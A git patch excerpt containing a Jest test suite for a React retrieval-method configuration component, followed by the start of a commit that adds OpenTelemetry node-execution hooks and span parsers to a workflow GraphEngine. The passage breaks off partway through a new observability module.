+jest.mock('react-i18next', () => ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})) + +// Mock provider context with controllable supportRetrievalMethods +let mockSupportRetrievalMethods: RETRIEVE_METHOD[] = [ + RETRIEVE_METHOD.semantic, + RETRIEVE_METHOD.fullText, + RETRIEVE_METHOD.hybrid, +] + +jest.mock('@/context/provider-context', () => ({ + useProviderContext: () => ({ + supportRetrievalMethods: mockSupportRetrievalMethods, + }), +})) + +// Mock model hooks with controllable return values +let mockRerankDefaultModel: { provider: { provider: string }; model: string } | undefined = { + provider: { provider: 'test-provider' }, + model: 'test-rerank-model', +} +let mockIsRerankDefaultModelValid: boolean | undefined = true + +jest.mock('@/app/components/header/account-setting/model-provider-page/hooks', () => ({ + useModelListAndDefaultModelAndCurrentProviderAndModel: () => ({ + defaultModel: mockRerankDefaultModel, + currentModel: mockIsRerankDefaultModelValid, + }), +})) + +// Mock child component RetrievalParamConfig to simplify testing +jest.mock('../retrieval-param-config', () => ({ + __esModule: true, + default: ({ type, value, onChange, showMultiModalTip }: { + type: RETRIEVE_METHOD + value: RetrievalConfig + onChange: (v: RetrievalConfig) => void + showMultiModalTip?: boolean + }) => ( +
+ {type} + {String(showMultiModalTip)} + +
+ ), +})) + +// Factory function to create mock RetrievalConfig +const createMockRetrievalConfig = (overrides: Partial = {}): RetrievalConfig => ({ + search_method: RETRIEVE_METHOD.semantic, + reranking_enable: false, + reranking_model: { + reranking_provider_name: '', + reranking_model_name: '', + }, + top_k: 4, + score_threshold_enabled: false, + score_threshold: 0.5, + ...overrides, +}) + +// Helper to render component with default props +const renderComponent = (props: Partial> = {}) => { + const defaultProps = { + value: createMockRetrievalConfig(), + onChange: jest.fn(), + } + return render() +} + +describe('RetrievalMethodConfig', () => { + beforeEach(() => { + jest.clearAllMocks() + // Reset mock values to defaults + mockSupportRetrievalMethods = [ + RETRIEVE_METHOD.semantic, + RETRIEVE_METHOD.fullText, + RETRIEVE_METHOD.hybrid, + ] + mockRerankDefaultModel = { + provider: { provider: 'test-provider' }, + model: 'test-rerank-model', + } + mockIsRerankDefaultModelValid = true + }) + + // Tests for basic rendering + describe('Rendering', () => { + it('should render without crashing', () => { + renderComponent() + + expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument() + }) + + it('should render all three retrieval methods when all are supported', () => { + renderComponent() + + expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument() + expect(screen.getByText('dataset.retrieval.full_text_search.title')).toBeInTheDocument() + expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument() + }) + + it('should render descriptions for all retrieval methods', () => { + renderComponent() + + expect(screen.getByText('dataset.retrieval.semantic_search.description')).toBeInTheDocument() + expect(screen.getByText('dataset.retrieval.full_text_search.description')).toBeInTheDocument() + expect(screen.getByText('dataset.retrieval.hybrid_search.description')).toBeInTheDocument() + }) + + it('should only render semantic search when only semantic is supported', () => { + mockSupportRetrievalMethods = [RETRIEVE_METHOD.semantic] + renderComponent() + + expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument() + expect(screen.queryByText('dataset.retrieval.full_text_search.title')).not.toBeInTheDocument() + expect(screen.queryByText('dataset.retrieval.hybrid_search.title')).not.toBeInTheDocument() + }) + + it('should only render fullText search when only fullText is supported', () => { + mockSupportRetrievalMethods = [RETRIEVE_METHOD.fullText] + renderComponent() + + expect(screen.queryByText('dataset.retrieval.semantic_search.title')).not.toBeInTheDocument() + expect(screen.getByText('dataset.retrieval.full_text_search.title')).toBeInTheDocument() + expect(screen.queryByText('dataset.retrieval.hybrid_search.title')).not.toBeInTheDocument() + }) + + it('should only render hybrid search when only hybrid is supported', () => { + mockSupportRetrievalMethods = [RETRIEVE_METHOD.hybrid] + renderComponent() + + expect(screen.queryByText('dataset.retrieval.semantic_search.title')).not.toBeInTheDocument() + expect(screen.queryByText('dataset.retrieval.full_text_search.title')).not.toBeInTheDocument() + expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument() + }) + + it('should render nothing when no retrieval methods are supported', () => { + mockSupportRetrievalMethods = [] + const { container } = renderComponent() + + // Only the wrapper div should exist + expect(container.firstChild?.childNodes.length).toBe(0) + }) + + it('should show RetrievalParamConfig for the active method', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + }) + + expect(screen.getByTestId('retrieval-param-config-semantic_search')).toBeInTheDocument() + expect(screen.queryByTestId('retrieval-param-config-full_text_search')).not.toBeInTheDocument() + expect(screen.queryByTestId('retrieval-param-config-hybrid_search')).not.toBeInTheDocument() + }) + + it('should show RetrievalParamConfig for fullText when active', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }), + }) + + expect(screen.queryByTestId('retrieval-param-config-semantic_search')).not.toBeInTheDocument() + expect(screen.getByTestId('retrieval-param-config-full_text_search')).toBeInTheDocument() + expect(screen.queryByTestId('retrieval-param-config-hybrid_search')).not.toBeInTheDocument() + }) + + it('should show RetrievalParamConfig for hybrid when active', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.hybrid }), + }) + + expect(screen.queryByTestId('retrieval-param-config-semantic_search')).not.toBeInTheDocument() + expect(screen.queryByTestId('retrieval-param-config-full_text_search')).not.toBeInTheDocument() + expect(screen.getByTestId('retrieval-param-config-hybrid_search')).toBeInTheDocument() + }) + }) + + // Tests for props handling + describe('Props', () => { + it('should pass showMultiModalTip to RetrievalParamConfig', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + showMultiModalTip: true, + }) + + expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('true') + }) + + it('should default showMultiModalTip to false', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + }) + + expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('false') + }) + + it('should apply disabled state to option cards', () => { + renderComponent({ disabled: true }) + + // When disabled, clicking should not trigger onChange + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]') + expect(semanticOption).toHaveClass('cursor-not-allowed') + }) + + it('should default disabled to false', () => { + renderComponent() + + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]') + expect(semanticOption).not.toHaveClass('cursor-not-allowed') + }) + }) + + // Tests for user interactions and event handlers + describe('User Interactions', () => { + it('should call onChange when switching to semantic search', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }), + onChange, + }) + + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(semanticOption!) + + expect(onChange).toHaveBeenCalledTimes(1) + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + search_method: RETRIEVE_METHOD.semantic, + reranking_enable: true, + }), + ) + }) + + it('should call onChange when switching to fullText search', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + onChange, + }) + + const fullTextOption = screen.getByText('dataset.retrieval.full_text_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(fullTextOption!) + + expect(onChange).toHaveBeenCalledTimes(1) + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + search_method: RETRIEVE_METHOD.fullText, + reranking_enable: true, + }), + ) + }) + + it('should call onChange when switching to hybrid search', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + onChange, + }) + + const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(hybridOption!) + + expect(onChange).toHaveBeenCalledTimes(1) + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + search_method: RETRIEVE_METHOD.hybrid, + reranking_enable: true, + }), + ) + }) + + it('should not call onChange when clicking the already active method', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + onChange, + }) + + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(semanticOption!) + + expect(onChange).not.toHaveBeenCalled() + }) + + it('should not call onChange when disabled', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + onChange, + disabled: true, + }) + + const fullTextOption = screen.getByText('dataset.retrieval.full_text_search.title').closest('div[class*="cursor"]') + fireEvent.click(fullTextOption!) + + expect(onChange).not.toHaveBeenCalled() + }) + + it('should propagate onChange from RetrievalParamConfig', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + onChange, + }) + + const updateButton = screen.getByTestId('update-top-k-semantic_search') + fireEvent.click(updateButton) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + top_k: 10, + }), + ) + }) + }) + + // Tests for reranking model configuration + describe('Reranking Model Configuration', () => { + it('should set reranking model when switching to semantic and model is valid', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.fullText, + reranking_model: { + reranking_provider_name: '', + reranking_model_name: '', + }, + }), + onChange, + }) + + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(semanticOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + reranking_model: { + reranking_provider_name: 'test-provider', + reranking_model_name: 'test-rerank-model', + }, + reranking_enable: true, + }), + ) + }) + + it('should preserve existing reranking model when switching', () => { + const onChange = jest.fn() + const existingModel = { + reranking_provider_name: 'existing-provider', + reranking_model_name: 'existing-model', + } + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.fullText, + reranking_model: existingModel, + }), + onChange, + }) + + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(semanticOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + reranking_model: existingModel, + reranking_enable: true, + }), + ) + }) + + it('should set reranking_enable to false when no valid model', () => { + mockIsRerankDefaultModelValid = false + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.fullText, + reranking_model: { + reranking_provider_name: '', + reranking_model_name: '', + }, + }), + onChange, + }) + + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(semanticOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + reranking_enable: false, + }), + ) + }) + + it('should set reranking_mode for hybrid search', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.semantic, + reranking_model: { + reranking_provider_name: '', + reranking_model_name: '', + }, + }), + onChange, + }) + + const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(hybridOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + search_method: RETRIEVE_METHOD.hybrid, + reranking_mode: RerankingModeEnum.RerankingModel, + }), + ) + }) + + it('should set weighted score mode when no valid rerank model for hybrid', () => { + mockIsRerankDefaultModelValid = false + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.semantic, + reranking_model: { + reranking_provider_name: '', + reranking_model_name: '', + }, + }), + onChange, + }) + + const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(hybridOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + reranking_mode: RerankingModeEnum.WeightedScore, + }), + ) + }) + + it('should set default weights for hybrid search when no existing weights', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.semantic, + weights: undefined, + }), + onChange, + }) + + const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(hybridOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + weights: { + weight_type: WeightedScoreEnum.Customized, + vector_setting: { + vector_weight: DEFAULT_WEIGHTED_SCORE.other.semantic, + embedding_provider_name: '', + embedding_model_name: '', + }, + keyword_setting: { + keyword_weight: DEFAULT_WEIGHTED_SCORE.other.keyword, + }, + }, + }), + ) + }) + + it('should preserve existing weights for hybrid search', () => { + const existingWeights = { + weight_type: WeightedScoreEnum.Customized, + vector_setting: { + vector_weight: 0.8, + embedding_provider_name: 'test-embed-provider', + embedding_model_name: 'test-embed-model', + }, + keyword_setting: { + keyword_weight: 0.2, + }, + } + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.semantic, + weights: existingWeights, + }), + onChange, + }) + + const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(hybridOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + weights: existingWeights, + }), + ) + }) + + it('should use RerankingModel mode and enable reranking for hybrid when existing reranking model', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.semantic, + reranking_model: { + reranking_provider_name: 'existing-provider', + reranking_model_name: 'existing-model', + }, + }), + onChange, + }) + + const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(hybridOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + search_method: RETRIEVE_METHOD.hybrid, + reranking_enable: true, + reranking_mode: RerankingModeEnum.RerankingModel, + }), + ) + }) + }) + + // Tests for callback stability and memoization + describe('Callback Stability', () => { + it('should maintain stable onSwitch callback when value changes', () => { + const onChange = jest.fn() + const value1 = createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText, top_k: 4 }) + const value2 = createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText, top_k: 8 }) + + const { rerender } = render( + , + ) + + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(semanticOption!) + + expect(onChange).toHaveBeenCalledTimes(1) + + rerender() + + fireEvent.click(semanticOption!) + expect(onChange).toHaveBeenCalledTimes(2) + }) + + it('should use updated onChange callback after rerender', () => { + const onChange1 = jest.fn() + const onChange2 = jest.fn() + const value = createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }) + + const { rerender } = render( + , + ) + + rerender() + + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(semanticOption!) + + expect(onChange1).not.toHaveBeenCalled() + expect(onChange2).toHaveBeenCalledTimes(1) + }) + }) + + // Tests for component memoization + describe('Component Memoization', () => { + it('should be memoized with React.memo', () => { + // Verify the component is wrapped with React.memo by checking its displayName or type + expect(RetrievalMethodConfig).toBeDefined() + // React.memo components have a $$typeof property + expect((RetrievalMethodConfig as any).$$typeof).toBeDefined() + }) + + it('should not re-render when props are the same', () => { + const onChange = jest.fn() + const value = createMockRetrievalConfig() + + const { rerender } = render( + , + ) + + // Rerender with same props reference + rerender() + + // Component should still be rendered correctly + expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument() + }) + }) + + // Tests for edge cases and error handling + describe('Edge Cases', () => { + it('should handle undefined reranking_model', () => { + const onChange = jest.fn() + const value = createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.fullText, + }) + // @ts-expect-error - Testing edge case + value.reranking_model = undefined + + renderComponent({ + value, + onChange, + }) + + // Should not crash + expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument() + }) + + it('should handle missing default model', () => { + mockRerankDefaultModel = undefined + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.fullText, + reranking_model: { + reranking_provider_name: '', + reranking_model_name: '', + }, + }), + onChange, + }) + + const semanticOption = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(semanticOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + reranking_model: { + reranking_provider_name: '', + reranking_model_name: '', + }, + }), + ) + }) + + it('should use fallback empty string when default model provider is undefined', () => { + // @ts-expect-error - Testing edge case where provider is undefined + mockRerankDefaultModel = { provider: undefined, model: 'test-model' } + mockIsRerankDefaultModelValid = true + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.fullText, + reranking_model: { + reranking_provider_name: '', + reranking_model_name: '', + }, + }), + onChange, + }) + + const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(hybridOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + reranking_model: { + reranking_provider_name: '', + reranking_model_name: 'test-model', + }, + }), + ) + }) + + it('should use fallback empty string when default model name is undefined', () => { + // @ts-expect-error - Testing edge case where model is undefined + mockRerankDefaultModel = { provider: { provider: 'test-provider' }, model: undefined } + mockIsRerankDefaultModelValid = true + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.fullText, + reranking_model: { + reranking_provider_name: '', + reranking_model_name: '', + }, + }), + onChange, + }) + + const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]') + fireEvent.click(hybridOption!) + + expect(onChange).toHaveBeenCalledWith( + expect.objectContaining({ + reranking_model: { + reranking_provider_name: 'test-provider', + reranking_model_name: '', + }, + }), + ) + }) + + it('should handle rapid sequential clicks', () => { + const onChange = jest.fn() + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + onChange, + }) + + const fullTextOption = screen.getByText('dataset.retrieval.full_text_search.title').closest('div[class*="cursor-pointer"]') + const hybridOption = screen.getByText('dataset.retrieval.hybrid_search.title').closest('div[class*="cursor-pointer"]') + + // Rapid clicks + fireEvent.click(fullTextOption!) + fireEvent.click(hybridOption!) + fireEvent.click(fullTextOption!) + + expect(onChange).toHaveBeenCalledTimes(3) + }) + + it('should handle empty supportRetrievalMethods array', () => { + mockSupportRetrievalMethods = [] + const { container } = renderComponent() + + expect(container.querySelector('[class*="flex-col"]')?.childNodes.length).toBe(0) + }) + + it('should handle partial supportRetrievalMethods', () => { + mockSupportRetrievalMethods = [RETRIEVE_METHOD.semantic, RETRIEVE_METHOD.hybrid] + renderComponent() + + expect(screen.getByText('dataset.retrieval.semantic_search.title')).toBeInTheDocument() + expect(screen.queryByText('dataset.retrieval.full_text_search.title')).not.toBeInTheDocument() + expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument() + }) + + it('should handle value with all optional fields set', () => { + const fullValue = createMockRetrievalConfig({ + search_method: RETRIEVE_METHOD.hybrid, + reranking_enable: true, + reranking_model: { + reranking_provider_name: 'provider', + reranking_model_name: 'model', + }, + top_k: 10, + score_threshold_enabled: true, + score_threshold: 0.8, + reranking_mode: RerankingModeEnum.WeightedScore, + weights: { + weight_type: WeightedScoreEnum.Customized, + vector_setting: { + vector_weight: 0.6, + embedding_provider_name: 'embed-provider', + embedding_model_name: 'embed-model', + }, + keyword_setting: { + keyword_weight: 0.4, + }, + }, + }) + + renderComponent({ value: fullValue }) + + expect(screen.getByTestId('retrieval-param-config-hybrid_search')).toBeInTheDocument() + }) + }) + + // Tests for all prop variations + describe('Prop Variations', () => { + it('should render with minimum required props', () => { + const { container } = render( + , + ) + + expect(container.firstChild).toBeInTheDocument() + }) + + it('should render with all props set', () => { + renderComponent({ + disabled: true, + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.hybrid }), + showMultiModalTip: true, + onChange: jest.fn(), + }) + + expect(screen.getByText('dataset.retrieval.hybrid_search.title')).toBeInTheDocument() + }) + + describe('disabled prop variations', () => { + it('should handle disabled=true', () => { + renderComponent({ disabled: true }) + const option = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]') + expect(option).toHaveClass('cursor-not-allowed') + }) + + it('should handle disabled=false', () => { + renderComponent({ disabled: false }) + const option = screen.getByText('dataset.retrieval.semantic_search.title').closest('div[class*="cursor"]') + expect(option).toHaveClass('cursor-pointer') + }) + }) + + describe('search_method variations', () => { + const methods = [ + RETRIEVE_METHOD.semantic, + RETRIEVE_METHOD.fullText, + RETRIEVE_METHOD.hybrid, + ] + + test.each(methods)('should correctly highlight %s when active', (method) => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: method }), + }) + + // The active method should have its RetrievalParamConfig rendered + expect(screen.getByTestId(`retrieval-param-config-${method}`)).toBeInTheDocument() + }) + }) + + describe('showMultiModalTip variations', () => { + it('should pass true to child component', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + showMultiModalTip: true, + }) + expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('true') + }) + + it('should pass false to child component', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + showMultiModalTip: false, + }) + expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('false') + }) + }) + }) + + // Tests for active state visual indication + describe('Active State Visual Indication', () => { + it('should show recommended badge only on hybrid search', () => { + renderComponent() + + // The hybrid search option should have the recommended badge + // This is verified by checking the isRecommended prop passed to OptionCard + const hybridTitle = screen.getByText('dataset.retrieval.hybrid_search.title') + const hybridCard = hybridTitle.closest('div[class*="cursor"]') + + // Should contain recommended badge from OptionCard + expect(hybridCard?.querySelector('[class*="badge"]') || screen.queryByText('datasetCreation.stepTwo.recommend')).toBeTruthy() + }) + }) + + // Tests for integration with OptionCard + describe('OptionCard Integration', () => { + it('should pass correct props to OptionCard for semantic search', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }), + }) + + const semanticTitle = screen.getByText('dataset.retrieval.semantic_search.title') + expect(semanticTitle).toBeInTheDocument() + + // Check description + const semanticDesc = screen.getByText('dataset.retrieval.semantic_search.description') + expect(semanticDesc).toBeInTheDocument() + }) + + it('should pass correct props to OptionCard for fullText search', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }), + }) + + const fullTextTitle = screen.getByText('dataset.retrieval.full_text_search.title') + expect(fullTextTitle).toBeInTheDocument() + + const fullTextDesc = screen.getByText('dataset.retrieval.full_text_search.description') + expect(fullTextDesc).toBeInTheDocument() + }) + + it('should pass correct props to OptionCard for hybrid search', () => { + renderComponent({ + value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.hybrid }), + }) + + const hybridTitle = screen.getByText('dataset.retrieval.hybrid_search.title') + expect(hybridTitle).toBeInTheDocument() + + const hybridDesc = screen.getByText('dataset.retrieval.hybrid_search.description') + expect(hybridDesc).toBeInTheDocument() + }) + }) +}) From bdccbb6e8679ca7d0ea808e681ecc53bbaf596bc Mon Sep 17 00:00:00 2001 From: heyszt <270985384@qq.com> Date: Tue, 16 Dec 2025 13:26:31 +0800 Subject: [PATCH 18/38] feat: add GraphEngine layer node execution hooks (#28583) --- .../workflow/graph_engine/graph_engine.py | 9 +- .../workflow/graph_engine/layers/__init__.py | 2 + api/core/workflow/graph_engine/layers/base.py | 27 +++ .../graph_engine/layers/node_parsers.py | 61 +++++ .../graph_engine/layers/observability.py | 169 ++++++++++++++ api/core/workflow/graph_engine/worker.py | 54 ++++- .../worker_management/worker_pool.py | 5 + api/core/workflow/nodes/base/node.py | 51 ++-- api/core/workflow/workflow_entry.py | 7 +- api/extensions/otel/decorators/base.py | 14 +- api/extensions/otel/runtime.py | 11 + .../workflow/graph_engine/layers/__init__.py | 0 .../workflow/graph_engine/layers/conftest.py | 101 ++++++++ .../graph_engine/layers/test_observability.py | 219 ++++++++++++++++++ 14 files changed, 682 insertions(+), 48 deletions(-) create mode 100644 api/core/workflow/graph_engine/layers/node_parsers.py create mode 100644 api/core/workflow/graph_engine/layers/observability.py create mode 100644 api/tests/unit_tests/core/workflow/graph_engine/layers/__init__.py create mode 100644 api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py create mode 100644 api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py diff --git a/api/core/workflow/graph_engine/graph_engine.py b/api/core/workflow/graph_engine/graph_engine.py index a4b2df2a8c..2e8b8f345f 100644 --- a/api/core/workflow/graph_engine/graph_engine.py +++ b/api/core/workflow/graph_engine/graph_engine.py @@ -140,6 +140,10 @@ class GraphEngine: pause_handler = PauseCommandHandler() self._command_processor.register_handler(PauseCommand, pause_handler) + # === Extensibility === + # Layers allow plugins to extend engine functionality + self._layers: list[GraphEngineLayer] = [] + # === Worker Pool Setup === # Capture Flask app context for worker threads flask_app: Flask | None = None @@ -158,6 +162,7 @@ class GraphEngine: ready_queue=self._ready_queue, event_queue=self._event_queue, graph=self._graph, + layers=self._layers, flask_app=flask_app, context_vars=context_vars, min_workers=self._min_workers, @@ -196,10 +201,6 @@ class GraphEngine: event_emitter=self._event_manager, ) - # === Extensibility === - # Layers allow plugins to extend engine functionality - self._layers: list[GraphEngineLayer] = [] - # === Validation === # Ensure all nodes share the same GraphRuntimeState instance self._validate_graph_state_consistency() diff --git a/api/core/workflow/graph_engine/layers/__init__.py b/api/core/workflow/graph_engine/layers/__init__.py index 0a29a52993..772433e48c 100644 --- a/api/core/workflow/graph_engine/layers/__init__.py +++ b/api/core/workflow/graph_engine/layers/__init__.py @@ -8,9 +8,11 @@ with middleware-like components that can observe events and interact with execut from .base import GraphEngineLayer from .debug_logging import DebugLoggingLayer from .execution_limits import ExecutionLimitsLayer +from .observability import ObservabilityLayer __all__ = [ "DebugLoggingLayer", "ExecutionLimitsLayer", "GraphEngineLayer", + "ObservabilityLayer", ] diff --git a/api/core/workflow/graph_engine/layers/base.py b/api/core/workflow/graph_engine/layers/base.py index 24c12c2934..780f92a0f4 100644 --- a/api/core/workflow/graph_engine/layers/base.py +++ b/api/core/workflow/graph_engine/layers/base.py @@ -9,6 +9,7 @@ from abc import ABC, abstractmethod from core.workflow.graph_engine.protocols.command_channel import CommandChannel from core.workflow.graph_events import GraphEngineEvent +from core.workflow.nodes.base.node import Node from core.workflow.runtime import ReadOnlyGraphRuntimeState @@ -83,3 +84,29 @@ class GraphEngineLayer(ABC): error: The exception that caused execution to fail, or None if successful """ pass + + def on_node_run_start(self, node: Node) -> None: # noqa: B027 + """ + Called immediately before a node begins execution. + + Layers can override to inject behavior (e.g., start spans) prior to node execution. + The node's execution ID is available via `node._node_execution_id` and will be + consistent with all events emitted by this node execution. + + Args: + node: The node instance about to be executed + """ + pass + + def on_node_run_end(self, node: Node, error: Exception | None) -> None: # noqa: B027 + """ + Called after a node finishes execution. + + The node's execution ID is available via `node._node_execution_id` and matches + the `id` field in all events emitted by this node execution. + + Args: + node: The node instance that just finished execution + error: Exception instance if the node failed, otherwise None + """ + pass diff --git a/api/core/workflow/graph_engine/layers/node_parsers.py b/api/core/workflow/graph_engine/layers/node_parsers.py new file mode 100644 index 0000000000..b6bac794df --- /dev/null +++ b/api/core/workflow/graph_engine/layers/node_parsers.py @@ -0,0 +1,61 @@ +""" +Node-level OpenTelemetry parser interfaces and defaults. +""" + +import json +from typing import Protocol + +from opentelemetry.trace import Span +from opentelemetry.trace.status import Status, StatusCode + +from core.workflow.nodes.base.node import Node +from core.workflow.nodes.tool.entities import ToolNodeData + + +class NodeOTelParser(Protocol): + """Parser interface for node-specific OpenTelemetry enrichment.""" + + def parse(self, *, node: Node, span: "Span", error: Exception | None) -> None: ... + + +class DefaultNodeOTelParser: + """Fallback parser used when no node-specific parser is registered.""" + + def parse(self, *, node: Node, span: "Span", error: Exception | None) -> None: + span.set_attribute("node.id", node.id) + if node.execution_id: + span.set_attribute("node.execution_id", node.execution_id) + if hasattr(node, "node_type") and node.node_type: + span.set_attribute("node.type", node.node_type.value) + + if error: + span.record_exception(error) + span.set_status(Status(StatusCode.ERROR, str(error))) + else: + span.set_status(Status(StatusCode.OK)) + + +class ToolNodeOTelParser: + """Parser for tool nodes that captures tool-specific metadata.""" + + def __init__(self) -> None: + self._delegate = DefaultNodeOTelParser() + + def parse(self, *, node: Node, span: "Span", error: Exception | None) -> None: + self._delegate.parse(node=node, span=span, error=error) + + tool_data = getattr(node, "_node_data", None) + if not isinstance(tool_data, ToolNodeData): + return + + span.set_attribute("tool.provider.id", tool_data.provider_id) + span.set_attribute("tool.provider.type", tool_data.provider_type.value) + span.set_attribute("tool.provider.name", tool_data.provider_name) + span.set_attribute("tool.name", tool_data.tool_name) + span.set_attribute("tool.label", tool_data.tool_label) + if tool_data.plugin_unique_identifier: + span.set_attribute("tool.plugin.id", tool_data.plugin_unique_identifier) + if tool_data.credential_id: + span.set_attribute("tool.credential.id", tool_data.credential_id) + if tool_data.tool_configurations: + span.set_attribute("tool.config", json.dumps(tool_data.tool_configurations, ensure_ascii=False)) diff --git a/api/core/workflow/graph_engine/layers/observability.py b/api/core/workflow/graph_engine/layers/observability.py new file mode 100644 index 0000000000..a674816884 --- /dev/null +++ b/api/core/workflow/graph_engine/layers/observability.py @@ -0,0 +1,169 @@ +""" +Observability layer for GraphEngine. + +This layer creates OpenTelemetry spans for node execution, enabling distributed +tracing of workflow execution. It establishes OTel context during node execution +so that automatic instrumentation (HTTP requests, DB queries, etc.) automatically +associates with the node span. +""" + +import logging +from 